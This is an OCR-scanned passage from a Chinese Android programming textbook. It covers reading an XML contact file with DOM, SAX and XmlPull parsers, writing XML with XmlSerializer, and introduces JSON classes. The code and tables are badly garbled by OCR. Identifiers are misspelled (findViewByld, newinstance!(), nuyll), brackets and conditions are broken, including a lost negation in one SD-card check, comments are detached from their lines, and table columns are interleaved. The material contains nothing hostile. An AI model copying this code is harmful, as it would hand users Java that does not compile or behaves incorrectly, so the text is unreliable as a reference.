/设置 文字 大 小 

// 默 认 显 示 文 字 

// 文 本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
/设置 文字 大 小 

/组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
/表格 行 完结 

/定义 表格 行 
/定义 文本 显示 组 件 
/组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
// 设 置 文字 大 小 

// 默 认 显示 文字 

// 文 本 显示 组 件 

/组 件 ID， 程 序 中 使 用 
1/ 设置 文字 大 小 

// 组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
/表格 行 完结 

/定义 表格 行 
/按钮 组 件 

/组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 表格 列 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显 示 文 字 


本 程序 依然 采用 表格 布局 操作 ， 当 用 户 读 取 数 据 时 ,会 将 member.xml 中 指定 的 内 容 设 置 到 


文本 组 件 上 进行 显示 。 


【 例 8-20】 定义 Activity 程序 ， 采 用 DOM 解析 ， 读 取 数据 


package org.Ixh.demo; 

import java.io.File; 

import java.io.IOException; 

import javax.xml.parsers.DocumentBuilder; 

import javax.xml.parsers.DocumentBuilderFactory; 
import javax.xml.parsers.ParserConfigurationException; 
import org.w3c.dom.Document; 

import org.w3c.dom.Element; 
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import org.w3c.dom.NodeList; 

import org.xml.sax.SAXException; 

import android.app.Activity; 

import android.os.Bundle; 

import android.os.Environment; 

import android.view.View; 

import android.view.View.OnClickListener; 
import android.widget.Button; 

import android.widget. TextView; 

public class MyDOMDemo extends Activity { 


private TextView name = null; // 文 本 输入 组 件 
private TextView email = null; // 文 本 输入 组 件 
private Button but = null; /按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.name = (TextView) super.findViewByld(R.id.name) ; // 取 得 组 件 
this.email = (TextView) super.findViewByld(R.id.emai1 ; // 取 得 组 件 
this.but = (Button) super.findViewByld(R.id.but) ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerlmpl()) ; /设置 监听 

} 

private class OnClickListenerImpl implements OnClickListener { 
@Override 


public void onClick(View view) { 
if(!IEnvironment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)X{ // 如 果 sdcard 不 存在 
return ; // 返 回 被 调用 处 
File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ "mldndata" + File.separator + "memberxml") ; /定义 File 类 对 象 
if (! file.exists()) { // 父 文件 夹 不 存在 
return ; // 返 回 被 调用 处 


b 
1/1. 建立 DocumentBuilderFactory， 以 用 于 取得 DocumentBuilder 
DocumentBuilderFactory factory = DocumentBuilderFactory.newinstance!(); 
/2. 通过 DocumentBuilderFactory 取得 DocumentBuilder 
DocumentBuilder builder = null; 
try{ 

builder = factory.newDocumentBuilder(); 
} catch (ParserConfigurationException e) { 

e.printStackTrace(); 


} 
/3. 定义 Document 接口 对 象 ， 通 过 DocumentBuilder 类 进行 DOM 树 的 转换 操作 


Document doc = null; 


try{ 
doc = builder.parse(file); // 读 取 指 定 路 径 的 XML 文件 


}catch (SAXException e){ 
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e.printStackTrace(); 
}catch (IOException e) { 
e.printStackTrace(); 


b 
/4. 查找 linkman 的 节点 
NodeList nl = doc.getElementsByTagName("linkman"); 
/5. 输出 NodeList 中 第 一 个 子 节点 中 文本 节点 的 内 容 
for (int x = 0; x < nl.getLength(); x++) { // 循 环 输出 节点 内 容 
Element e = (Element) nl.item(x) ; /取得 每 一 个 元 素 
MyDOMDemo.this.name.setText(e.getElementsByTagName("name") 
.item(0).getFirstChild().getNodeValue());，// 设 置 文本 
MyDOMDemo.this.email.setText(e.getElementsByTagName("email") 
.item(0).getFirstChild().getNodeValue()); /设置 文本 


} 

} 

本 程序 采用 DOM 解析 的 方式 从 member. 
xml 文件 中 将 姓名 和 邮箱 的 信息 读 取出 
并 且 将 内 容 设 置 到 文本 显示 组 件 上 显示 。 
置 好 权限 之 后 ， 程 序 的 运行 效果 如 图 加 
所 示 。 

【 例 8-21】 修改 AndroidManifestxml 

文件 ， 定 义 sdcard 操作 权限 

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 


图 8-18 DOM 解析 读 取 数据 


8.2.5 SAX 操作 


虽然 DOM 操作 使 用 广泛 , 但 是 并 不 适合 于 进行 大 数据 文件 的 操作 , 而 此 时 就 可 以 使 用 SAX 
解析 方式 进行 XML 文件 的 读 取 。 


DOM 和 SAX 的 区 别 。 

在 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》 第 3 章 中 曾经 讲解 过 DOM 和 SAX 的 区 别 ， 
下 面 进行 简单 的 介绍 。 

DOM 解析 适合 于 对 文件 进行 修改 和 随机 存 取 的 操作 ， 但 是 不 适合 于 大 型 文件 的 操作 ; 
SAX 采用 部 分 读 取 的 方式 ,所 以 可 以 进行 大 型 文件 处 理 ,而 且 只 需要 从 文件 中 读 取 特定 内 容 ， 
而 且 SAX 解析 可 以 由 用 户 自己 建立 对 象 模型 。 


下 面 采 用 SAX 解析 方式 读 取 之 前 的 member.xml 文件 。 如 果 要 完成 SAX 解析 ， 首 先 必 须 定 
义 一 个 SAX 解析 器 ， 以 及 一 个 存储 xml 信息 的 简单 Java 类 一 一 LinkMan.java。 
【 例 8-22】 定义 LinkMan 
package org.Ixh.demo; 
public class LinkMan { 
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private String name; 

private String email; 

public String getName(){ 
return name; 

} 

public void setName(String name) { 
this.name = name; 


} 

public String getEmail() { 
return email; 

} 


public void setEmail(String email) { 
this.email = email; 
} 
} 


在 member.xml 文件 中 , 每 一 个 linkman 节点 中 都 有 name 和 email 两 个 节点 , 所 以 LinkMan. 


java 类 的 主要 功能 是 保存 每 组 节点 中 的 数据 。 


【 例 8-23】 定义 SAX 解析 器 ， 此 类 继承 DefaultHandler 类 


package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.List; 
import org.xml.sax.Attributes; 
import org.xml.sax.SAXException; 
import org.xml.sax.helpers.DefaultHandler; 
public class MySAX extends DefaultHandler{ 
private List<LinkMan> all = null; 
private String elementName = null; 
private LinkMan man = null; 
@Override 
public void startDocument() throws SAXException { 
this.all = new ArrayList<LinkMan>(); 
} 
@Override 


// 继 承 DefaultHandler 
/保存 全 部 元 素 
/保存 元 素 名 称 
/定义 封装 对 象 


/文档 开始 
/实例 化 集合 


public void startElement(String uri, String localName, String name, 


Attributes attributes) throws SAXException { 
if ("linkman".equals(localName)) { 
this.man = new LinkMan(); 


} 
this.elementName = localName:; 
} 
@Override 
public void characters(char[] ch, int start, int length) 


throws SAXException { 
if (this.elementName != nuyll) { 
String data = new String(ch, start, length); 
if ("name".equals(this.elementName)) { 
this.man.setName(data); 
} else if (“email".equals(this.elementName)) { 
this.man.setEmail(data); 


// 元 素 开始 
// 表 示 是 linkman 节点 
/实例 化 LinkMan 对 象 


/保存 元 素 名 称 


// 取 得 元 素 内 容 
/表示 有 元 素 

// 取 得 文字 信息 

/是 否 是 name 节点 
/设置 name 属性 
/是 否 是 email 节点 
/设置 email 属性 
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b 
} 
} 
@Override 
public void endElement(String uri, String localName, String name) 
throws SAXException { // 元 素 结 束 
if ("linkman".equals(localName)) { // 结 尾 标记 是 否 是 linkman 
this.all.add(this.man); // 向 集合 保存 数据 
this.man = null; // 清 空 对 象 
ly 
this.elementName = null; // 清 空 元 素 标 记 
} 
public List<LinkMan> getAll() { // 取 得 全 部 集合 
return this.all; 
} 


} 
本 解析 器 的 主要 功能 是 将 指定 XML 文档 中 的 数据 全 部 取出 ， 并 且 将 数据 封装 成 LinkMan 


类 的 对 象 保存 在 List 集合 中 ， 由 于 SAX 解析 采用 的 是 顺序 的 方式 ， 所 以 每 次 操作 都 要 对 当前 的 


操作 节点 进行 判断 ， 并 且 将 指定 的 数据 取出 ， 最 后 所 有 的 数据 可 以 通过 getAl1(0 方 法 返回 
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【 例 8-24】 定义 Activity 程序 
package org.Ixh.demo; 
import java.io.File; 
import java.util.List; 
import javax.xml.parsers.SAXParser; 
import javax.xml.parsers.SAXParserFactory; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment'; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget. TextView; 
public class MySAXDemo extends Activity { 


private TextView name = null; // 文 本 输入 组 件 
private TextView email = null; /文本 输入 组 件 
private Button but = null; /按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /调用 布局 管理 器 
this.name = (TextView) superfindViewByld(R.id.name) ; /取得 组 件 
this.email = (TextView) super .findViewByld(R.id.email) ; /取得 组 件 
this.but = (Button) super.findViewByld(R.id.but) ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerImpl()) ; // 设 置 监 

} 

private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 

if(!IEnvironment.getExternalStorageState().equals( 
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Environment.MEDIA_MOUNTED)YX // 如 果 sdcard 不 存在 


return ; 


} 


// 返 回 被 调用 处 


File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 


+ "mldnd 
if (! file.exists()) { 
return ; 


| 
/1. 建立 SAX 解析 


ata" + File.separator + "member.xml") ; /定义 File 类 对 象 
// 父 文件 夹 不 存在 
// 返 回 被 调用 处 


站 可 大 


SAXParserFactory factory = SAXParserFactory.newiInstance(); 


SAXParser parser = null ; /1/2. 构造 解析 器 
MySAX sax = new MySAX() ; JSAX 解析 器 
ft 
Dt parser = factory.newSAXParser(); // 取 得 SAXParser 对 象 
}catch (Exception e){ 

e.printStackTrace(); 
} 
try{ 

parser.parse(file, sax); /3. 解析 XML 使 用 DefaultHandler 
}catch (Exception e) { 

e.printStackTrace(); 
a all = sax.getAll() ; // 取 得 联系 人 信息 


MySAXDemo.this.name.setText(all.get(0).getName()); /设置 文本 
MySAXDemo.this.email.setText(all.get(0).getEmail()); ”// 设 置 文本 


} 
} 


b 
本 程序 依然 使 用 DOM 解析 程序 的 布局 管理 器 , 在 按钮 的 单 击 操作 中 ,首先 指定 了 要 操作 的 


member.xml 的 File 对 象 ， 之 后 利用 上 E 
析 器 (MySAX.java) 对 member xml 


本 程序 考虑 到 有 可 能 有 多 个 linkman 节点 ， 所 以 使 
了 List 返回 全 部 数据 ， 而 member.xml 中 由 于 只 有 一 


个 linkman 节点 ， 所 以 直接 采用 all.g 
保存 的 第 一 个 LinkMan 对 象 , 并 将 其 
上 进行 显示 ， 程 序 的 运行 效果 如 图 8- 


| 定 义 的 SAX 有 " CE =|G| xl 
文件 进行 解析 。 面 7:42 


et(0) 的 方式 取出 
设置 到 文本 组 件 
19 所 示 。 图 8-19 SAX 读 取 


【 例 8-25】 修改 AndroidManifest.xml 文件 ， 定 


义 sdcard 操作 权限 


<Uses-permission android:name="al 


8.2.6 使 用 XMLPull 解析 


DOM 和 SAX 在 使 用 上 各 有 特点 
验 的 读者 应 该 很 清楚 , 在 日 常 的 工作 + 


ndroid.permission.WRITE_EXTERNAL_STORAGE" /> 


， 但 是 使 用 起 来 都 很 不 方便 , 而且 有 过 Java EE 程序 开发 经 


ph 往往 会 用 多 种 开源 组 件 ( 如 JDOM、DOM4J) 来 完成 XML 
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解析 的 操作 ， 但 是 在 Android 中 并 没有 提供 这 样 的 组 件 ， 而 是 提供 了 另外 一 种 Pull 解析 的 操作 
方式 。 


/提示 

JDOM 和 Dom4J 是 开源 项 目 。 

在 开发 中 ， 往 往 利用 JDOM 或 DOM4J 这 样 的 开源 工具 进行 XML 解析 的 操作 ， 而 想 了 
解 相关 知识 的 读者 可 以 参考 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》 一 书 第 3 章 的 内 容 。 

另外 ， 笔 者 再 次 提醒 各 位 读者 ， 学 习 Android 开发 之 前 最 好 能 对 Java EE 的 开发 有 一 个 
基本 的 认识 , 即 至 少 使 用 MVC、SSH、AJAX 进行 过 项 目 开发 , 这 样 学 习 起 来 才 会 事半功倍 ， 
而 如 果 对 这 些 尚 不 熟悉 ， 建 议 从 Wwww.mldnjava.cn 上 下 载 一 些 相 关 的 学 习 资 料 ， 学 会 之 后 再 
进行 Android 学 习 。 


在 Android 中 ， 如 果 要 想 完成 Pull 解析 处 理 ， 则 需要 org.xmlpull.v1.XmlPullParserFactory 类 
和 org.xmlpull.v1.XmlPullParser 接口 的 支持 ，XmlPullParserFactory 类 的 主要 功能 是 通过 其 
newPullParser() 方 法 取得 一 个 XmlPullParser 接口 的 对 象 。XmlPullParserFactory 类 的 常用 方法 如 
表 8-7 所 示 。 


表 8-7 XmlPullParserFactory 类 的 常用 方法 


描述 
public static XmlPullParserFactory newInstanceO 取得 XmlPullParserFactory 类 的 对 象 


public XmlPullParser newPullParserO 


1 
通 取得 XmlPullParser 接口 对 象 


取得 XmlSerializer 接口 对 象 
Pull 的 XML 解析 操作 与 SAX 解析 操作 类 似 ， 也 是 采用 事件 驱动 的 方式 ， 当 XML 文档 开 
始 解析 或 者 遇 到 节点 时 都 会 有 相应 的 事件 代码 触发 ，XmlPullParser 接口 的 事件 代码 及 常用 方法 
如 表 8-8 所 示 。 


表 8-8 XmlPullParser 接口 的 事件 代码 及 常用 方法 


No. 事件 代码 及 方法 类 型 描述 
1 | public static final int START DOCUMENT 常量 文档 开始 
2 | public static finalintEND_DOCUMENT 常量 文档 结束 
3__ | public static final int START TAG 常量 元 素 开始 
4 ublic static final int END TAG 兽 元 素 结束 
5_ | public static final int COMMENT 普通 注释 
6 | public static final int TEXT 普 元 素 内容 
7 | public abstract int getAttributeCountO 普 j 取得 元 素 的 属性 数量 
8 public abstract String getAttributeName(int index) 普通 取得 指定 索引 的 属性 名 称 
9 | public abstract String getAttributeValue(int index) 普 取得 指定 索引 的 属性 内 容 
10 | public abstract int getEventTypeO 普 取得 事件 代码 
11 ublic abstract String getNameg) 普通 取得 当前 元 素 的 名 称 
ublic abstract String getText| 普通 取得 当前 元 素 的 内 容 
13 | public abstract int nextt 普通 取得 下 一 个 操作 事件 代码 


AS 
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事件 代码 及 方法 描述 
取得 下 一 个 标记 
取得 当前 节点 的 下 一 个 文字 


设置 数据 的 输入 字 节 流 


public abstract void setInput(InputStream inputStream, 


String inputEncoding) 
public abstract void setInput(Reader in) 设置 数据 的 输入 字符 流 


下 面 使 用 Pull 解析 的 方式 解析 之 前 的 memberxml 文件 , 而 本 程序 中 所 使 用 的 LinkMan java 
和 main.xml 文件 都 与 之 前 的 程序 一 致 。 


Sb 注 读 

参考 代码 在 Android Doc 文档 中 已 给 出 。 

如 果 读 者 不 清楚 Pull 解析 的 操作 方法 ， 也 可 以 直接 参考 Android Doc 文档 中 的 
XmlPullParser 接口 的 说 明 ， 其 中 已 经 给 出 了 程序 的 参考 代码 。 


【 例 8-26】 定义 XML 解析 的 工具 类 一 一 MyXMLPullUtiljava 
package org.Ixh.demo; 
import java.io.InputStream; 
import java.util.ArrayList; 
import java.util.List; 
import org.xmlpull.v1.XmlPullParser; 
import org.xmlpull.v1.XmlPullParserFactory; 
public class MyXMLPulIUtil{ 


private InputStream input = null; /定义 输入 流 

public MyXMLPuIIUtil(InputStream input) { // 构 造 方法 接收 
this.input = input; 

} 

public List<LinkMan> getAllLinkMan() throws Exception { 
List<LinkMan> all = null; // 保 存 全 部 数据 
LinkMan man = null; /定义 LinkMan 对 象 
String elementName = null; /保存 元 素 名 称 
XmlPullParserFactory factory = XmlPullParserFactory.newinstance(); 
XmlPullParser xpp = factory.newPullParser(); 1/ 创建 XmlPullParser 
xpp.setinput(this.input, "UTF-8"); /设置 输入 流 
int eventType = xpp.getEventType(); // 取 得 操作 事件 


while (eventType != XmlPullParser.END_DOCUMENT) { // 如 果 文 档 没有 结束 
if (eventType == XmlPullParser.START_DOCUMENT7T) { /开始 文档 


all = new ArrayList<LinkMan>(); /实例 化 List 集合 

} else if (eventType == XmlPullParser START_TAG){ /开始 标记 
elementName = xpp.getName(); // 取 得 元 素 名 称 
if ("linkman".equals(elementName)) { // 如 果 是 linkman 节点 

man = new LinkMan(); /实例 化 对 象 

} 

} else if (eventType == XmlPullParser END_TAG){ /| 结束 标记 
elementName = xpp.getName(); // 取 得 元 素 名称 
if ("linkman".equals(elementName)) { // 如 果 是 linkman 节点 
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1 


all.add(man); /保存 对 象 
man = null; /清空 对 象 
} else if (eventType == XmlPullParser TEXT) { // 元 素 内 容 
if ("name".equals(elementName)) { // 如 果 是 name 节点 
man.setName(xpp.getText()); /取出 name 节点 元 素 
} else if ("email".equals(elementName)) { // 如 果 是 email 节点 
man.setEmail(xpp.getText()); /取出 email 节点 元 素 
} 
} 
eventType = xpp.next(); // 取 得 下 一 个 事件 码 
} 
return all; 


本 程序 中 采用 了 Pull 解析 操作 ， 程 序 会 从 指定 的 InputStream 对 象 中 读 取出 相关 的 XML 数 

据 ， 而 后 采用 XmlPullParser 接口 的 相关 操作 方法 ， 使 用 循环 读 取出 全 部 所 需要 的 内 容 。 
【 例 8-27】 定义 Activity 程序 ， 进 行 Pull 解析 

package org.Ixh.demo; 

import java.io.File; 

import java.io.FilelnputStream; 

import java.io.InputStream; 

import java.util.List; 

import android.app.Activity; 

import android.os.Bundle; 

import android.os.Environment'; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.widget.Button; 

import android.widget. TextView; 

public class MyXMLPullIDemo extends Activity { 


private TextView name = null; // 文 本 输入 组 件 
private TextView email = null; // 文 本 输入 组 件 
private Button but = null; /按钮 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 


} 


super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.name = (TextView) superfindViewByld(R.id.name) ; // 取 得 组 件 
this.email = (TextView) super.findViewByld(R.id.emai1 ; // 取 得 组 件 
this.but = (Button) super.findViewByld(R.id.but) ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerlImpl()) ; /设置 监听 


private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
if(!IEnvironment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)X // 如 果 sdcard 不 存在 
return ; // 返 回 被 调用 处 


入 Q 音 


第 8 章 数据 存储 


lj 

File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 


+ "mldndata" + File.separator + "member.xml") ; // 定 义 File 类 对 象 
if (! file.exists()) { // 父 文件 夹 不 存在 
return ; // 返 回 被 调用 处 
} 
try{ 
InputStream input = new FilelnputStream(file); /定义 输入 流 
MyXMLPullUtil util = new MyXMLPullUtil(input): /| 操作 Pull 工具 类 
List<LinkMan> all = util.getAlILinkMan(); // 取 得 联系 人 信息 


MyXMLPullDemo.this.name.setText(all.get(0).getName()); /设置 文本 


MyXMLPullDemo.this.email.setText(all.get(0).getEmail()); 
}catch (Exception e) { 
e.printStackTrace() ; 
} 
} 


// 设 置 文本 


} 
本 程序 的 关键 代码 就 在 于 传递 InputStream 对 象 给 MyXMLPullUtil 类 ， 并 且 利 用 此 类 中 的 


getAllLinkMan() 方 法 取出 全 部 的 联系 人 信息 , 而 后 将 信息 设置 到 文本 显示 组 件 中 进行 显示 , 程序 
的 运行 效果 如 图 8-19 所 示 。 
以 上 程序 使 用 Pull 解析 方式 完成 了 XML 文档 的 解析 操作 , 而 Android 中 的 Pull 解析 方式 也 
可 以 完成 XML 文档 的 输出 功能 ， 这 需要 利用 org.xmlpull.v1.XmlSerializer 接口 来 完成 ， 此 接口 
可 以 通过 程序 控制 XML 文件 中 的 元 素 、 属 性 、 文 字 的 关系 结构 ， 而 XmlSerializer 接口 的 常用 操 
作 方 法 如 表 8-9 所 示 。 
表 8-9 XmlSerializer 接口 的 常用 方法 


No. 方 ” 法 描述 
1 ublic abstract void comment(String text 定义 注释 
3 public abstract void endDocumentO 增加 元 素 结 束 标记 
3 | public abstract void flushO 刷新 缓冲 区 
4 | public abstract String getName0 取得 设置 的 元 素 名 称 
5 public abstract void setOutput(Writer writer) 设置 输出 的 字符 流 
ublic abstract void setOutput(OutputStream a a . 
村 | 本 oe 设置 输出 的 字 节 流 ， 并 指定 编码 
os, String encoding 
7 miblie abstract void startDocument(String 文档 开始 
encoding, Boolean standalone) 
8 public ee, XmlSerializer startTag(String 元 素 开 始 
namespace, String name) 
ublic abstract XmlSerializer text(char[] buf 本 
人 We 元 素 内 容 
int start, int len) 
10 | public abstract XmlSerializer text(String text) 系 
ublic abstract XmlSerializer endTag(Strin: Em 
启 | ER 元 素 结束 
namespace, String name 
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XmlSerializer 接口 的 对 象 实例 化 与 XmlPullParser 接口 的 对 象 实例 化 的 过 程 是 一 样 的 ， 都 要 使 
用 XmlPullParserFactory 类 完成 ， 唯 一 不 同 的 是 ，XmlSerializer 接口 使 用 的 是 XmlPullParserFactory 
类 中 的 newSerializer0 方 法 。 下 面 通过 具体 的 代码 演示 如 何 输出 XML 文件 。 

【 例 8-28】 定义 Pull 解析 操作 的 工具 类 一 一 MyYXMLPullUtiljava 

package org.Ixh.demo; 

import java.io.OutputStream; 

import java.util.Iterator; 

import java.util.List; 

import org.xmlpull.v1.XmlPullParserFactory:; 

import org.xmlpull.v1.XmlSerializer; 

public class MyXMLPulIUtil{ 


private OutputStream output = null; // 定 义 输出 流 

private List<LinkMan> all = null; /保存 全 部 数据 

public MyXMLPullUtil(OutputStream output, List<LinkMan> al) { /构造 方法 接收 
this.output = output; // 取 得 输出 流 
this.all = all; // 取 得 数据 

) 


public void save() throws Exception { 
XmlPullParserFactory factory = XmlPullParserFactory.newinsiance(); 


XmlSerializer xs = factory.newSerializer(); // 取 得 XmlSerializer 接口 对 象 

xs.setOutput(this.output, "UTF-8"); // 设 置 输出 编码 

xs.startDocument("UTF-8", true); // 文 档 开 始 ， 编 码 为 UTF-8， 且 独立 运行 

xs.startTag(null "addresslist"); // 定 义 根 元 素 开始 

lterator<Link Man> iter = this.all.iterator(); // 取 得 lterator 接口 对 象 

While (iter.hasNext()) { // 迭 代 输 出 
LinkMan man = iter.next(); // 取 出 每 一 个 LinkMan 
xs.startTag(null "linkman"); // 定 义 linkman 元 素 开始 
xs.startTag(null, "name"); // 定 义 name 元 素 开始 
xs.text(man.getName()); // 设 置 name 元 素 内 容 
xs.endTag(null, "name"); // 定 义 name 元 素 结束 
xs.startTag(null "email"); // 定 义 email 元 素 开始 
xs.text(man.getEmail()); // 设 置 email 元 素 内 容 
xs.endTag(null, "email"); // 定 义 email 元 素 结束 
xs.endTag(null "linkman"); // 定 义 linkman 元 素 结束 

by 

xs.endTag(null, "addresslist"); // 定 义 根 元 素 完 结 

xs.endDocument(); // 定 义 文档 结束 

xs.flush(); // 清 空 缓冲 区 


} 


} 

本 类 的 主要 功能 是 在 save0 方 法 中 ， 将 保存 在 List 集合 中 的 全 部 数据 进行 保存 ， 而 且 使 
XmlSerializer 接口 中 的 startTag()、endTag() 和 text( 方 法 配置 各 个 元 素 的 关系 。 

【 例 8-29】 定义 Activity 程序 ， 向 XML 中 保存 多 组 数据 

package org.Ixh.demo; 

import java.io.File; 

import java.io.FileOutputStream; 

import java.io.IOException; 

import java.io.OutputStream; 
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import java.util.ArrayList; 
import java.util.List; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment; 
public class MyXMLPullIDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
if(IEnvironment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)X{ // 如 果 sdcard 不 存在 
return ; // 返 回 被 调用 处 
} 
File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 


+ "mldndata" + File.separator + "member.xml") ; /定义 File 类 对 象 
if (! file.exists()) { // 父 文件 夹 不 存在 
return ; // 返 回 被 调用 处 
} 
List<LinkMan> all = new ArrayList<LinkMan>() ; /定义 List 集合 
for (intx=0;x<3;x++){ 
LinkMan man = new LinkMan(); /实例 化 LinkMan 对 象 
man.setName(" 李 兴 华 -" + X); /设置 name 属性 
man.setEmail("mldnqa@163.com") ; /设置 email 属性 
all.add(man) ; // 向 集合 保存 
OutputStream output = null ; /定义 输出 流 
try{ 
output = new FileOutputStream(file); // 定 义 文件 输出 流 
new MyXMLPuIIUtil(output, all).save(); // 生 成 XML 文件 
} catch (Exception e){ 
e.printStackTrace() ; 
}finally { 
if (output {= null) { /输出 流 对 象 不 为 空 
try{ 
output.close() ; /| 关闭 输出 流 
}catch (IOException e) { 
e.printStackTrace(); 
} 
} 
上 


} 
} 
【 例 8-30】 修改 AndroidManifest.xml 文件 ， 定 义 sdcard 操作 权限 
<Uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 
本 程序 没有 定义 布局 管理 器 ， 所 有 要 保存 在 XML 文件 中 的 数据 都 通过 LinkMan 类 进行 了 
封装 ， 并 保存 到 List 集合 中 ， 而 后 通过 指定 的 输出 流 输出 数据 ， 数 据 保 存 成 功 后 的 文件 内 容 如 
图 8-20 所 示 。 
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a 


文件 (编辑 (E) 格式 (0) 查看 W) 帮助 中 


?xml version="1.9* encoding="UTF-8*" standalone-"yes" ? 司 
><addresslist><linknan>《name> 李 兴 华 - 

8</nane>Cenail>nldnqa@163 .con</enail></1inknan><1linknan><name> 李 兴 华 - 
1</nane>cenail>nldnqae163.con</enail></1inknan><linknan><name> 李 兴 华 - 
2</nane> Cenail>nldnqa@163.conC/enail>¢/linknan></addresslist> 司 


图 8-20 ”生成 后 的 XML 文件 〈 未 排版 ) 


8.2.7 JSON 数据 解析 


使 用 XML 文件 虽然 规范 化 了 文件 传输 的 定义 格式 ， 但 由 于 每 一 个 要 传递 的 数值 都 需要 使 用 元 
素 进行 声明 ， 所 以 在 传输 数据 时 往往 会 传递 许多 无 用 的 数据 ， 从 而 导致 传输 的 数据 量 增 大 。 另 一 方 
面 ，XML 解析 操作 也 比较 复杂 ， 所 以 在 现在 的 开发 中 会 使 用 一 种 轻 量 级 的 数据 交换 格式 一 一 JSON 
(JavaScript Object Notation) 。 

JSON 采用 完全 独立 于 语言 平台 的 文本 格式 (这 一 点 与 XML 作用 类 似 ) ， 使 用 JSON 可 以 
将 对 象 中 表示 的 一 组 数据 转换 为 字符 串 ， 然 后 在 各 个 应 用 程序 之 间 传 递 这 些 字符 串 ， 或 者 在 异 
步 系 统 中 进行 服务 器 和 客户 端 之 间 的 数据 传递 。 

JSON 操作 本 身 有 其 自己 的 数据 格式 ,用 户 可 以 自己 使 用 字符 串 拼凑 , 也 可 以 直接 利用 JSON 
给 出 的 操作 类 完成 这 些 数据 格式 ， 而 在 Android 系统 中 ，JSON 操作 所 需要 的 数据 包 已 经 默认 集 
成 了 ， 所 以 用 户 不 再 需要 任何 导 包 的 操作 ， 即 可 进行 开发 。JSON 中 的 常用 类 如 表 8-10 所 示 。 


表 8-10 JSON 解析 的 操作 类 


No. 类 名 称 描述 

是 JSON 定义 的 基本 单元 ， 主 要 包含 的 就 是 一 对 〈key/value) 的 值 ， 与 

1 | orgjson.JSONObject Map 的 保存 结构 类 似 , 是 使 用 “{}” 括 起 来 的 一 组 数据 ,如 {key 值 ,value 

值 }、{key 值 ,[ 数 值 1, 数 值 2, 数 值 3] } 

| 二 代表 一 种 有 序 的 数值 ， 可 以 将 对 象 的 信息 变 为 字符 串 ， 所 有 的 数据 都 使 
用 “ 口 ” 包 衷 ， 数 值 之 间 以 “,” 分 隔 ， 如 [数值 1, 数 值 2, 数 值 3] 

orgjson.JSONStringer “| 可 以 快速 、 便 捷 地 创建 SON 文本 ， 可 以 减少 由 于 程序 错误 所 导致 的 异常 

4 | orgjson.JSONTokener | 负责 从 JSON 数据 中 提取 数据 

org.json.JSONException | JSON 解析 出 错时 所 抛 出 的 异常 信息 

下 面 为 了 更 好 地 说 明 JSON 数据 的 定义 , 通过 一 个 程序 演示 JSON 保存 数据 的 形式 ， 而 要 想 

完成 JSON 数据 的 输出 ， 必 须 使 用 JSONObject 和 JSONArray 两 个 类 进行 操作 。JSONObject 类 

的 常用 方法 如 表 8-11 所 示 ，JSONArray 类 的 常用 方法 如 表 8-12 所 示 。 


表 8-11 JSONObject 类 的 常用 方法 
No. 方 法 描述 
1 |public JSONObijectO 创建 一 个 没有 内 容 的 JSONObject 对 象 
2_|public JSONObject(Map copyFrom) 通过 Map 集合 创建 ISONObject 对 象 
3 |public JSONObject(JSONTokener readFrom) 通过 JSONTokener 创建 JSONObject 对 象 
4 |public JSONObject(String json) 通过 字符 串 创建 JSONObject 对 象 
public JSONObject accumulate(String name, 
Object value, 


追加 一 个 新 的 key/value 数据 
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No. 页 -法 描 ” 述 

public Object get(String name, 返回 指定 名 称 的 Object 型 数据 

public boolean getBoolean(String name, 返回 指定 名 称 的 boolean 型 数据 

public double getDouble(String name) 返回 指定 名 称 的 double 型 数据 

public int getInt(String name) 返回 指定 名 称 的 int 型 数据 
10 |public JSONArray getJSONArray(String name) 返回 指定 名 称 的 JSONArray 型 数据 
11 |publicJSONObject geUSONObject(String name) 返回 指定 名 称 的 JSONObject 型 数据 
12 |public long getLong(String name) 返回 指定 名 称 的 long 型 数据 
13 |public String getString(String name) 返回 指定 名 称 的 String 型 数据 
14 |public boolean has(String name 判断 是 否 有 指定 名 称 的 数据 存在 
15 |public boolean isNull(String name 判断 指定 名 称 的 数据 是 否 是 null 
16 |public Tterator keys 普 取出 全 部 的 key 
17 |public intlengthO 普通 ”| 取得 保存 的 数据 长 度 
18 |public JSONObject put(String name, int value) 通 | 在 指定 位 置 增加 int 型 数据 
19 |public JSONObject put(String name, long value) 在 指定 位 置 增加 long 型 数据 
20 |public JSONObject put(String name, Object value) 在 指定 位 置 增加 Object 型 数据 
